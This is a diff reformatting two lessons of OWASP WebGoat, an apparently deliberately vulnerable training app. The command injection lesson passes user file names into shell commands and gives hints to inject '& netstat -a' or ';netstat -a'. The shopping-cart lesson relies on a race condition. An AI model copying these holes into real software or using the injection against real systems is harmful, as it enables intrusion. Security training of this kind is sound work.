- + "This lesson is a command injection lesson, not access control.");
- }
- }
- else
- {
- // No Command entered.
- illegalCommand = false;
- }
- }
- File safeDir = new File(s.getContext().getRealPath("/lesson_plans"));
+ if (getWebgoatContext().isDefuseOSCommands() && helpFile.indexOf('&') == -1 && helpFile.indexOf(';') == -1)
+ {
+ if (helpFile.length() > 0)
+ {
+ if (upDirCount(helpFile) <= 3)
+ {
+ // FIXME: This value isn't used. What is the goal here?
+ s.getContext().getRealPath("/");
+ illegalCommand = false;
+ }
+ else
+ {
+ s.setMessage("It appears that you are on the right track. "
+ + "Commands that may compromise the operating system have been disabled. "
+ + "This lesson is a command injection lesson, not access control.");
+ }
+ }
+ else
+ {
+ // No Command entered.
+ illegalCommand = false;
+ }
+ }
+ File safeDir = new File(s.getContext().getRealPath("/lesson_plans"));
- ec
- .addElement(new StringElement(
- "You are currently viewing: "
- + (helpFile.toString().length() == 0 ? "<select file from list below>"
- : helpFile.toString()) + ""));
+ ec.addElement(new StringElement("You are currently viewing: "
+ + (helpFile.toString().length() == 0 ? "<select file from list below>" : helpFile.toString())
+ + ""));
- if (!illegalCommand)
- {
- String results;
- String fileData = null;
- helpFile = helpFile.replaceAll("\\.help", "\\.html");
+ if (!illegalCommand)
+ {
+ String results;
+ String fileData = null;
+ helpFile = helpFile.replaceAll("\\.help", "\\.html");
- if (osName.indexOf("Windows") != -1)
+ if (osName.indexOf("Windows") != -1)
+ {
+ // Add quotes around the filename to avoid having special characters in DOS
+ // filenames
+ results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\"");
+ fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");
+
+ }
+ else
+ {
+ String[] cmd1 = { "/bin/sh", "-c", "ls \"" + safeDir.getPath() + "\"" };
+ results = exec(s, cmd1);
+ String[] cmd2 = { "/bin/sh", "-c", "cat \"" + new File(safeDir, helpFile).getPath() + "\"" };
+ fileData = exec(s, cmd2);
+ }
+
+ ec.addElement(new P().addElement("Select the lesson plan to view: "));
+ ec.addElement(ECSFactory.makePulldown(HELP_FILE, parseResults(results.replaceAll("(?s)\\.html",
+ "\\.help"))));
+ // ec.addElement( results );
+ Element b = ECSFactory.makeButton("View");
+ ec.addElement(b);
+ // Strip out some of the extra html from the "help" file
+ ec.addElement(new BR());
+ ec.addElement(new BR());
+ ec.addElement(new HR().setWidth("90%"));
+ ec.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), " ")
+ .replaceAll("(?s)", "").replaceAll("
", " ")
+ .replaceAll(" \\s ", " ")));
+
+ }
+ } catch (Exception e)
{
- // Add quotes around the filename to avoid having special characters in DOS filenames
- results = exec(s, "cmd.exe /c dir /b \""
- + safeDir.getPath() + "\"");
- fileData = exec(s, "cmd.exe /c type \""
- + new File(safeDir, helpFile).getPath() + "\"");
-
- }
- else
- {
- String[] cmd1 = { "/bin/sh", "-c",
- "ls \"" + safeDir.getPath() + "\"" };
- results = exec(s, cmd1);
- String[] cmd2 = {
- "/bin/sh",
- "-c",
- "cat \"" + new File(safeDir, helpFile).getPath()
- + "\"" };
- fileData = exec(s, cmd2);
+ s.setMessage("Error generating " + this.getClass().getName());
+ e.printStackTrace();
}
- ec.addElement(new P()
- .addElement("Select the lesson plan to view: "));
- ec.addElement(ECSFactory.makePulldown(HELP_FILE,
- parseResults(results.replaceAll("(?s)\\.html",
- "\\.help"))));
- //ec.addElement( results );
- Element b = ECSFactory.makeButton("View");
- ec.addElement(b);
- // Strip out some of the extra html from the "help" file
- ec.addElement(new BR());
- ec.addElement(new BR());
- ec.addElement(new HR().setWidth("90%"));
- ec.addElement(new StringElement(fileData.replaceAll(
- System.getProperty("line.separator"), " ")
- .replaceAll("(?s)", "").replaceAll(
- "
", " ").replaceAll(" \\s ",
- " ")));
-
- }
- }
- catch (Exception e)
- {
- s.setMessage("Error generating " + this.getClass().getName());
- e.printStackTrace();
+ return (ec);
}
- return (ec);
- }
-
-
- private String parseResults(String results)
- {
- results.replaceAll("(?s).*Output...\\s", "").replaceAll("(?s)Returncode.*", "");
- StringTokenizer st = new StringTokenizer(results, "\n");
- StringBuffer modified = new StringBuffer();
-
- while(st.hasMoreTokens())
- {
- String s = (String)st.nextToken().trim();
-
- if(s.length() > 0 && s.endsWith(".help"))
- {
- modified.append(s + "\n");
- }
- }
-
- return modified.toString();
- }
-
-
- public static int upDirCount(String fileName)
- {
- int count = 0;
- // check for "." = %2d
- // we wouldn't want anyone bypassing the check by useing encoding :)
- // FIXME: I don't think hex endoing will work here.
- fileName = fileName.replaceAll("%2d", ".");
- int startIndex = fileName.indexOf("..");
- while (startIndex != -1)
+ private String parseResults(String results)
{
- count++;
- startIndex = fileName.indexOf("..", startIndex + 1);
- }
- return count;
- }
+ results.replaceAll("(?s).*Output...\\s", "").replaceAll("(?s)Returncode.*", "");
+ StringTokenizer st = new StringTokenizer(results, "\n");
+ StringBuffer modified = new StringBuffer();
+ while (st.hasMoreTokens())
+ {
+ String s = (String) st.nextToken().trim();
- /**
- * Description of the Method
- *
- * @param command Description of the Parameter
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- private String exec(WebSession s, String command)
- {
- System.out.println("Executing OS command: " + command);
- ExecResults er = Exec.execSimple(command);
- if ((command.indexOf("&") != -1 || command.indexOf(";") != -1)
- && !er.getError())
- {
- makeSuccess(s);
+ if (s.length() > 0 && s.endsWith(".help"))
+ {
+ modified.append(s + "\n");
+ }
+ }
+
+ return modified.toString();
}
- return (er.toString());
- }
-
-
- /**
- * Description of the Method
- *
- * @param command Description of the Parameter
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- private String exec(WebSession s, String[] command)
- {
- System.out.println("Executing OS command: " + Arrays.asList(command));
- ExecResults er = Exec.execSimple(command);
- if (!er.getError())
+ public static int upDirCount(String fileName)
{
- makeSuccess(s);
+ int count = 0;
+ // check for "." = %2d
+ // we wouldn't want anyone bypassing the check by useing encoding :)
+ // FIXME: I don't think hex endoing will work here.
+ fileName = fileName.replaceAll("%2d", ".");
+ int startIndex = fileName.indexOf("..");
+ while (startIndex != -1)
+ {
+ count++;
+ startIndex = fileName.indexOf("..", startIndex + 1);
+ }
+ return count;
}
- return (er.toString());
- }
+ /**
+ * Description of the Method
+ *
+ * @param command
+ * Description of the Parameter
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ private String exec(WebSession s, String command)
+ {
+ System.out.println("Executing OS command: " + command);
+ ExecResults er = Exec.execSimple(command);
+ if ((command.indexOf("&") != -1 || command.indexOf(";") != -1) && !er.getError())
+ {
+ makeSuccess(s);
+ }
- /**
- * Gets the category attribute of the CommandInjection object
- *
- * @return The category value
- */
- protected Category getDefaultCategory()
- {
- return Category.INJECTION;
- }
+ return (er.toString());
+ }
+ /**
+ * Description of the Method
+ *
+ * @param command
+ * Description of the Parameter
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ private String exec(WebSession s, String[] command)
+ {
+ System.out.println("Executing OS command: " + Arrays.asList(command));
+ ExecResults er = Exec.execSimple(command);
+ if (!er.getError())
+ {
+ makeSuccess(s);
+ }
- /**
- * Gets the hints attribute of the DirectoryScreen object
- *
- * @return The hints value
- */
- protected List getHints(WebSession s)
- {
- List hints = new ArrayList();
- hints
- .add("The application is using a system command to return the contents of a file.");
- hints
- .add("The ampersand(&) separates commands in the Windows 2000 command shell. In Unix the separator is typically a semi-colon(;)");
- hints
- .add("Use a proxy to insert & netstat -a on Windows or ;netstat -a on Unix.");
- hints
- .add("Note that the server may enclose the submitted file name within quotes");
+ return (er.toString());
+ }
- return hints;
- }
+ /**
+ * Gets the category attribute of the CommandInjection object
+ *
+ * @return The category value
+ */
+ protected Category getDefaultCategory()
+ {
+ return Category.INJECTION;
+ }
+ /**
+ * Gets the hints attribute of the DirectoryScreen object
+ *
+ * @return The hints value
+ */
+ protected List getHints(WebSession s)
+ {
+ List hints = new ArrayList();
+ hints.add("The application is using a system command to return the contents of a file.");
+ hints
+ .add("The ampersand(&) separates commands in the Windows 2000 command shell. In Unix the separator is typically a semi-colon(;)");
+ hints.add("Use a proxy to insert & netstat -a on Windows or ;netstat -a on Unix.");
+ hints.add("Note that the server may enclose the submitted file name within quotes");
- /**
- * Gets the instructions attribute of the ParameterInjection object
- *
- * @return The instructions value
- */
- public String getInstructions(WebSession s)
- {
- String instructions = "Choose the lesson plan you would like to view. "
- + "Try to inject a command to the operating system.";
+ return hints;
+ }
- return (instructions);
- }
+ /**
+ * Gets the instructions attribute of the ParameterInjection object
+ *
+ * @return The instructions value
+ */
+ public String getInstructions(WebSession s)
+ {
+ String instructions = "Choose the lesson plan you would like to view. "
+ + "Try to inject a command to the operating system.";
- private final static Integer DEFAULT_RANKING = new Integer(40);
+ return (instructions);
+ }
+ private final static Integer DEFAULT_RANKING = new Integer(40);
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
-
- /**
- * Gets the title attribute of the DirectoryScreen object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return "Command Injection";
- }
+ /**
+ * Gets the title attribute of the DirectoryScreen object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return "Command Injection";
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/ConcurrencyCart.java b/main/project/JavaSource/org/owasp/webgoat/lessons/ConcurrencyCart.java
index 8184975f9..119741496 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/ConcurrencyCart.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/ConcurrencyCart.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons;
import java.text.NumberFormat;
@@ -5,7 +6,6 @@ import java.util.ArrayList;
import java.util.List;
import java.util.Locale;
import java.util.regex.Pattern;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
@@ -24,587 +24,603 @@ import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
- *
- * @author Ryan Knell Aspect Security
- * @created July, 23 2007
+ *
+ * @author Ryan Knell Aspect Security
+ * @created July, 23 2007
*/
public class ConcurrencyCart extends LessonAdapter
{
- //Shared Variables
+ // Shared Variables
private static int total = 0;
- private static float runningTOTAL = 0;
- private static int subTOTAL = 0;
- private static float calcTOTAL = 0;
- private static int quantity1 = 0;
- private static int quantity2 = 0;
- private static int quantity3 = 0;
- private static int quantity4 = 0;
- private float ratio = 0;
- private int discount = 0;
-
- public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
-
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
-
+ private static float runningTOTAL = 0;
+ private static int subTOTAL = 0;
+ private static float calcTOTAL = 0;
+ private static int quantity1 = 0;
+ private static int quantity2 = 0;
+ private static int quantity3 = 0;
+ private static int quantity4 = 0;
+ private float ratio = 0;
+ private int discount = 0;
+
+ public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
+ .addElement(
+ new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
+ .setVspace(0));
+
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+
protected Element createContent(WebSession s)
- {
- ElementContainer ec = null;
-
- try
- {
- String submit = s.getParser().getStringParameter("SUBMIT");
-
- if("Purchase".equalsIgnoreCase(submit))
- {
- updateQuantity(s);
- ec = createPurchaseContent(s, quantity1, quantity2, quantity3, quantity4);
- }
- else if ("Confirm".equalsIgnoreCase(submit))
- {
- ec = confirmation(s, quantity1, quantity2, quantity3, quantity4);
-
- //Discount
-
- if (calcTOTAL == 0) // No total cost for items
- {
- discount = 0; // Discount meaningless
- }
- else // The expected case -- items cost something
- {
- ratio = runningTOTAL / calcTOTAL;
- }
-
-
- if (calcTOTAL > runningTOTAL)
- {
- //CONGRATS
- discount = (int) (100 * (1 - ratio));
- s.setMessage("Thank you for shopping! You have (illegally!) received a " + discount +"% discount. Police are on the way to your IP address.");
-
- makeSuccess(s);
- }
- else if (calcTOTAL < runningTOTAL)
- {
- //ALMOST
- discount = (int) (100 * (ratio - 1));
- s.setMessage("You are on the right track, but you actually overpaid by " + discount + "%. Try again!");
- }
- }
- else
- {
- updateQuantity(s);
- ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4);
- }
-
- }
- catch (ParameterNotFoundException pnfe)
- {
- System.out.println("[DEBUG] no action selected, defaulting to createShoppingPage");
- ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4);
- }
-
- return ec;
- }
-
- //UPDATE QUANTITY VARIABLES
+ {
+ ElementContainer ec = null;
+
+ try
+ {
+ String submit = s.getParser().getStringParameter("SUBMIT");
+
+ if ("Purchase".equalsIgnoreCase(submit))
+ {
+ updateQuantity(s);
+ ec = createPurchaseContent(s, quantity1, quantity2, quantity3, quantity4);
+ }
+ else if ("Confirm".equalsIgnoreCase(submit))
+ {
+ ec = confirmation(s, quantity1, quantity2, quantity3, quantity4);
+
+ // Discount
+
+ if (calcTOTAL == 0) // No total cost for items
+ {
+ discount = 0; // Discount meaningless
+ }
+ else
+ // The expected case -- items cost something
+ {
+ ratio = runningTOTAL / calcTOTAL;
+ }
+
+ if (calcTOTAL > runningTOTAL)
+ {
+ // CONGRATS
+ discount = (int) (100 * (1 - ratio));
+ s.setMessage("Thank you for shopping! You have (illegally!) received a " + discount
+ + "% discount. Police are on the way to your IP address.");
+
+ makeSuccess(s);
+ }
+ else if (calcTOTAL < runningTOTAL)
+ {
+ // ALMOST
+ discount = (int) (100 * (ratio - 1));
+ s.setMessage("You are on the right track, but you actually overpaid by " + discount
+ + "%. Try again!");
+ }
+ }
+ else
+ {
+ updateQuantity(s);
+ ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4);
+ }
+
+ } catch (ParameterNotFoundException pnfe)
+ {
+ System.out.println("[DEBUG] no action selected, defaulting to createShoppingPage");
+ ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4);
+ }
+
+ return ec;
+ }
+
+ // UPDATE QUANTITY VARIABLES
private void updateQuantity(WebSession s)
{
- quantity1 = thinkPositive(s.getParser().getIntParameter("QTY1", 0));
- quantity2 = thinkPositive(s.getParser().getIntParameter("QTY2", 0));
- quantity3 = thinkPositive(s.getParser().getIntParameter("QTY3", 0));
- quantity4 = thinkPositive(s.getParser().getIntParameter("QTY4", 0));
+ quantity1 = thinkPositive(s.getParser().getIntParameter("QTY1", 0));
+ quantity2 = thinkPositive(s.getParser().getIntParameter("QTY2", 0));
+ quantity3 = thinkPositive(s.getParser().getIntParameter("QTY3", 0));
+ quantity4 = thinkPositive(s.getParser().getIntParameter("QTY4", 0));
}
-
- /*
- **********************************************************************
- ******************* PURCHASING PAGE **********************************
- **********************************************************************
- */
-
- private ElementContainer createPurchaseContent(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4)
- {
-
- ElementContainer ec = new ElementContainer();
- runningTOTAL = 0;
-
- String regex1 = "^[0-9]{3}$";// any three digits
- Pattern pattern1 = Pattern.compile(regex1);
-
- try
+
+ /*
+ * ********************************************************************* ******************
+ * PURCHASING PAGE **********************************
+ * *********************************************************************
+ */
+
+ private ElementContainer createPurchaseContent(WebSession s, int quantity1, int quantity2, int quantity3,
+ int quantity4)
{
- String param1 = s.getParser().getRawParameter("PAC", "111");
- String param2 = HtmlEncoder.encode(s.getParser().getRawParameter(
- "CC", "5321 1337 8888 2007"));
-
- // test input field1
- if (!pattern1.matcher(param1).matches())
- {
- s.setMessage("Error! You entered " + HtmlEncoder.encode(param1) + " instead of your 3 digit code. Please try again.");
- }
-
- ec.addElement(new HR().setWidth("90%"));
- ec.addElement(new Center().addElement(new H1().addElement("Place your order ")));
- Table table = new Table().setCellSpacing(0).setCellPadding(2)
- .setBorder(1).setWidth("90%").setAlign("center");
- if (s.isColor())
- { table.setBorder(1); }
-
- //Table Setup
- TR tr = new TR();
- tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%"));
- tr.addElement(new TH().addElement("Price").setWidth("10%"));
- tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
- tr.addElement(new TH().addElement("Subtotal").setWidth("7%"));
- table.addElement(tr);
-
- //Item 1
- tr = new TR(); //Create a new table object
- tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive"));
- tr.addElement(new TD().addElement("$169.00").setAlign("right"));
- tr.addElement(new TD().addElement(String.valueOf(quantity1)).setAlign("center"));
-
- total = quantity1 * 169;
- runningTOTAL += total;
- tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
- table.addElement(tr); //Adds table to the HTML
-
- //Item 2
- tr = new TR();
- tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer"));
- tr.addElement(new TD().addElement("$299.00").setAlign("right"));
- tr.addElement(new TD().addElement(String.valueOf(quantity2)).setAlign("center"));
-
- total = quantity2 * 299;
- runningTOTAL += total;
- tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
- table.addElement(tr);
-
- //Item 3
- tr = new TR();
- tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino"));
- tr.addElement(new TD().addElement("$1799.00").setAlign("right"));
- tr.addElement(new TD().addElement(String.valueOf(quantity3)).setAlign("center"));
-
- total = quantity3 * 1799;
- runningTOTAL += total;
- tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
- table.addElement(tr);
-
- //Item 4
- tr = new TR();
- tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector "));
- tr.addElement(new TD().addElement("$649.00").setAlign("right"));
- tr.addElement(new TD().addElement(String.valueOf(quantity4)).setAlign("center"));
-
- total = quantity4 * 649;
- runningTOTAL += total;
- tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
- table.addElement(tr);
+ ElementContainer ec = new ElementContainer();
+ runningTOTAL = 0;
- ec.addElement(table);
+ String regex1 = "^[0-9]{3}$";// any three digits
+ Pattern pattern1 = Pattern.compile(regex1);
- table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
- .setWidth("90%").setAlign("center");
-
- if (s.isColor()) { table.setBorder(1); }
-
- ec.addElement(new BR());
-
- calcTOTAL = runningTOTAL;
-
- //Total Charged
- tr = new TR();
- tr.addElement(new TD().addElement("Total:"));
- tr.addElement(new TD().addElement("$" + formatFloat(runningTOTAL)).setAlign("right"));
- table.addElement(tr);
-
- tr = new TR();
- tr.addElement(new TD().addElement(" ").setColSpan(2));
- table.addElement(tr);
-
- //Credit Card Input
- tr = new TR();
- tr.addElement(new TD().addElement("Enter your credit card number:"));
- tr.addElement(new TD().addElement(new Input(Input.TEXT, "CC", param2)).setAlign("right"));
- table.addElement(tr);
-
- //PAC Input
- tr = new TR();
- tr.addElement(new TD().addElement("Enter your three digit access code:"));
- tr.addElement(new TD().addElement(new Input(Input.TEXT, "PAC", param1)).setAlign("right"));
- table.addElement(tr);
-
- //Confirm Button
- Element b = ECSFactory.makeButton("Confirm");
- tr = new TR();
- tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right"));
- table.addElement(tr);
-
- //Cancel Button
- Element c = ECSFactory.makeButton("Cancel");
- tr = new TR();
- tr.addElement(new TD().addElement(c).setColSpan(2).setAlign("right"));
- table.addElement(tr);
-
- ec.addElement(table);
- ec.addElement(new BR());
-
- }
- catch (Exception e)
+ try
{
- s.setMessage("Error generating " + this.getClass().getName());
- e.printStackTrace();
- }
-
- return (ec);
- }
-
- /*
- **********************************************************************
- ******************* CONFIRMATION PAGE ********************************
- **********************************************************************
- */
-
- private ElementContainer confirmation (WebSession s, int quantity1, int quantity2, int quantity3, int quantity4)
- {
- ElementContainer ec = new ElementContainer();
-
- final String confNumber = "CONC-88";
- calcTOTAL = 0;
- try
- {
- //Thread.sleep(5000);
-
- ec.addElement(new HR().setWidth("90%"));
- ec.addElement(new Center().addElement(new H1().addElement("Thank you for your purchase!")));
- ec.addElement(new Center().addElement(new H1().addElement("Confirmation number: " + confNumber)));
- Table table = new Table().setCellSpacing(0).setCellPadding(2)
- .setBorder(1).setWidth("90%").setAlign("center");
+ String param1 = s.getParser().getRawParameter("PAC", "111");
+ String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("CC", "5321 1337 8888 2007"));
- if (s.isColor())
- { table.setBorder(1); }
-
- //Table Setup
- TR tr = new TR();
- tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%"));
- tr.addElement(new TH().addElement("Price").setWidth("10%"));
- tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
- tr.addElement(new TH().addElement("Subtotal").setWidth("7%"));
- table.addElement(tr);
-
- //Item 1
- tr = new TR(); //Create a new table object
- tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive"));
- tr.addElement(new TD().addElement("$169.00").setAlign("right"));
- tr.addElement(new TD().addElement(String.valueOf(quantity1)).setAlign("center"));
-
- total = quantity1 * 169;
- calcTOTAL += total;
- tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
- table.addElement(tr); //Adds table to the HTML
-
- //Item 2
- tr = new TR();
- tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer"));
- tr.addElement(new TD().addElement("$299.00").setAlign("right"));
- tr.addElement(new TD().addElement(String.valueOf(quantity2)).setAlign("center"));
-
- total = quantity2 * 299;
- calcTOTAL += total;
- tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
- table.addElement(tr);
-
- //Item 3
- tr = new TR();
- tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino"));
- tr.addElement(new TD().addElement("$1799.00").setAlign("right"));
- tr.addElement(new TD().addElement(String.valueOf(quantity3)).setAlign("center"));
-
- total = quantity3 * 1799;
- calcTOTAL += total;
- tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
- table.addElement(tr);
-
- //Item 4
- tr = new TR();
- tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector "));
- tr.addElement(new TD().addElement("$649.00").setAlign("right"));
- tr.addElement(new TD().addElement(String.valueOf(quantity4)).setAlign("center"));
-
- total = quantity4 * 649;
- calcTOTAL += total;
- tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
- table.addElement(tr);
-
- ec.addElement(table);
-
- table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
- .setWidth("90%").setAlign("center");
-
- if (s.isColor())
- { table.setBorder(1); }
-
- ec.addElement(new BR());
-
- //Total Charged
- tr = new TR();
- tr.addElement(new TD().addElement("Total Amount Charged to Your Credit Card:"));
- tr.addElement(new TD().addElement("$" + formatFloat(runningTOTAL)).setAlign("right"));
- table.addElement(tr);
-
- tr = new TR();
- tr.addElement(new TD().addElement(" ").setColSpan(2));
- table.addElement(tr);
-
- //Return to Store Button
- Element b = ECSFactory.makeButton("Return to Store");
- tr = new TR();
- tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center"));
- table.addElement(tr);
-
- ec.addElement(table);
- ec.addElement(new BR());
-
- }
- catch (Exception e)
+ // test input field1
+ if (!pattern1.matcher(param1).matches())
{
- s.setMessage("Error generating " + this.getClass().getName());
- e.printStackTrace();
+ s.setMessage("Error! You entered " + HtmlEncoder.encode(param1)
+ + " instead of your 3 digit code. Please try again.");
}
- return (ec);
- }
-
- /*
- **********************************************************************
- ******************* SHOPPING PAGE **********************************
- **********************************************************************
- */
-
- private ElementContainer createShoppingPage(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4)
- {
-
- ElementContainer ec = new ElementContainer();
- subTOTAL = 0;
- try
- {
-
- ec.addElement(new HR().setWidth("90%"));
- ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
- Table table = new Table().setCellSpacing(0).setCellPadding(2)
- .setBorder(1).setWidth("90%").setAlign("center");
+ ec.addElement(new HR().setWidth("90%"));
+ ec.addElement(new Center().addElement(new H1().addElement("Place your order ")));
+ Table table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%")
+ .setAlign("center");
- if (s.isColor())
- { table.setBorder(1); }
-
- //Table Setup
- TR tr = new TR();
- tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%"));
- tr.addElement(new TH().addElement("Price").setWidth("10%"));
- tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
- tr.addElement(new TH().addElement("Subtotal").setWidth("7%"));
- table.addElement(tr);
-
- //Item 1
- tr = new TR(); //Create a new table object
- tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive"));
- tr.addElement(new TD().addElement("$169.00").setAlign("right"));
- tr.addElement(new TD().addElement(
- new Input(Input.TEXT, "QTY1", String.valueOf(quantity1)))
- .setAlign("right"));
-
- total = quantity1 * 169;
- subTOTAL += total;
- tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
- table.addElement(tr); //Adds table to the HTML
-
- //Item 2
- tr = new TR();
- tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer"));
- tr.addElement(new TD().addElement("$299.00").setAlign("right"));
- tr.addElement(new TD().addElement(
- new Input(Input.TEXT, "QTY2", String.valueOf(quantity2)))
- .setAlign("right"));
-
- total = quantity2 * 299;
- subTOTAL += total;
- tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
- table.addElement(tr);
-
- //Item 3
- tr = new TR();
- tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino"));
- tr.addElement(new TD().addElement("$1799.00").setAlign("right"));
- tr.addElement(new TD().addElement(
- new Input(Input.TEXT, "QTY3", String.valueOf(quantity3)))
- .setAlign("right"));
-
- total = quantity3 * 1799;
- subTOTAL += total;
- tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
- table.addElement(tr);
-
- //Item 4
- tr = new TR();
- tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector "));
- tr.addElement(new TD().addElement("$649.00").setAlign("right"));
- tr.addElement(new TD().addElement(
- new Input(Input.TEXT, "QTY4", String.valueOf(quantity4)))
- .setAlign("right"));
-
- total = quantity4 * 649;
- subTOTAL += total;
- tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
- table.addElement(tr);
+ if (s.isColor())
+ {
+ table.setBorder(1);
+ }
- ec.addElement(table);
+ // Table Setup
+ TR tr = new TR();
+ tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%"));
+ tr.addElement(new TH().addElement("Price").setWidth("10%"));
+ tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
+ tr.addElement(new TH().addElement("Subtotal").setWidth("7%"));
+ table.addElement(tr);
- table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
- .setWidth("90%").setAlign("center");
+ // Item 1
+ tr = new TR(); // Create a new table object
+ tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive"));
+ tr.addElement(new TD().addElement("$169.00").setAlign("right"));
+ tr.addElement(new TD().addElement(String.valueOf(quantity1)).setAlign("center"));
- if (s.isColor())
- { table.setBorder(1); }
+ total = quantity1 * 169;
+ runningTOTAL += total;
+ tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
+ table.addElement(tr); // Adds table to the HTML
- ec.addElement(new BR());
-
- //Purchasing Amount
- tr = new TR();
- tr.addElement(new TD().addElement("Total: " +"$" +formatInt(subTOTAL) +".00").setAlign("left"));
- table.addElement(tr);
+ // Item 2
+ tr = new TR();
+ tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer"));
+ tr.addElement(new TD().addElement("$299.00").setAlign("right"));
+ tr.addElement(new TD().addElement(String.valueOf(quantity2)).setAlign("center"));
- //Update Button
- Element b = ECSFactory.makeButton("Update Cart");
- tr = new TR();
- tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right"));
- table.addElement(tr);
+ total = quantity2 * 299;
+ runningTOTAL += total;
+ tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
+ table.addElement(tr);
-
- tr = new TR();
- tr.addElement(new TD().addElement(" ").setColSpan(2));
- table.addElement(tr);
-
